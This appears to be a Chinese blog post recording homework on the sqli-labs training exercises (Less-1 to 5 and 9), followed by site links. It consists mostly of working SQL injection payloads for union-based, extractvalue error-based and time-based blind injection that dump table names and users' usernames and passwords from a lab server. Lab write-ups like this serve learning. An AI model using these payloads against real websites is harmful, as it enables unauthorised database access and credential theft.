sqli作业-北京尧图网络

sqli作业Less-1单引号闭合闭合方式加个单引号看报错http://192.168.40.129/sqli/Less-1/?id1报错里1 LIMIT 0,1说明源码是WHERE id$id用闭合就行。ORDER BY 试列数?id1 order by 4-- # 报 Unknown column 4列数3UNION 找回显位?id-1 union select 1,2,3--2 和 3 回显在 name 和 Password。然后直接梭哈爆库?id-1 union select 1,database(),3-- 爆表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users--Less-2整型闭合方式无整型不需要闭合id2-1返回第一个用户数据说明是数字型爆库?id-1 union select 1,database(),3-- 爆表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users--Less-3单引号括号闭合方式)?id1源码是WHERE id($id)。爆库?id-1) union select 1,database(),3-- 爆表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-4双引号括号闭合方式)?id1源码是WHERE id($id)。爆库?id-1) union select 1,database(),3-- 爆表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-5报错注入extractvalue闭合方式页面只显示You are in...不显示数据但会报 MySQL 错误。用 union 查出来也看不到改用报错注入。?id1 → 正常 ?id1-- → 正常闭合确认extractvalue 一把梭爆库?id1 and extractvalue(1,concat(0x7e,database()))--爆表?id1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())))-- 爆列?id1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase())))--extractvalue 一次最多回显 32 字符数据多的话用 substring 分段第1段?id1 and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,30)))-- 第2段?id1 and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),30,30)))-- ...以此类推Less-9时间盲注闭合方式这个更狠连报错都没有永远只显示You are in...只能靠 sleep 判断?id1 and sleep(3)-- → 页面卡3秒 → 有注入闭合为确定闭合后上脚本爆破。

sqli作业

相关推荐

前端加密参数逆向实战：补环境法快速破解MD5签名

AI辅助学术写作：工具、效率与质量提升

BQ4050数据闪存深度解析：从架构到实战的BMS配置指南

更多资讯

cAdvisor Web UI 使用与认证配置指南：容器实时监控页面与 HTTP Basic/Digest 认证实战

规章制度的作用避坑指南

FPGA全局时钟缓冲器BUFGCTRL详解与工程实践

Cadence Virtuoso原理图设计与仿真实战指南

Microchip Studio 7 烧录全流程：从工具配置到熔丝位设置与故障排查

3步搞定52088性能瓶颈一文搞懂调优实战

今日更新

OneUptime 自定义探针（Custom Probe）部署实战：私网监控、代理配置与断连排障全指南

大众TL52625前端框架材料要求详解：从性能测试到落地执行

TiXL 浮点运算算子库 Lib.numbers.float 完全指南：44 个算子的参数详解、源码原理与实战串联

本周精选

深入解析Transformer多头注意力机制与工程优化

OpenClaw 的 Skills 跑学习任务，模型通道改到 TaoToken 通道行不行？

ChatGPT报错Oops, an error occurred! 全链路排查指南

本月热门

基于YOLO的焊缝缺陷检测：从数据标注到工业部署全流程实践

分布式服务的决策记录

创业产品的首版范围

读完文章，想聊聊您的网站？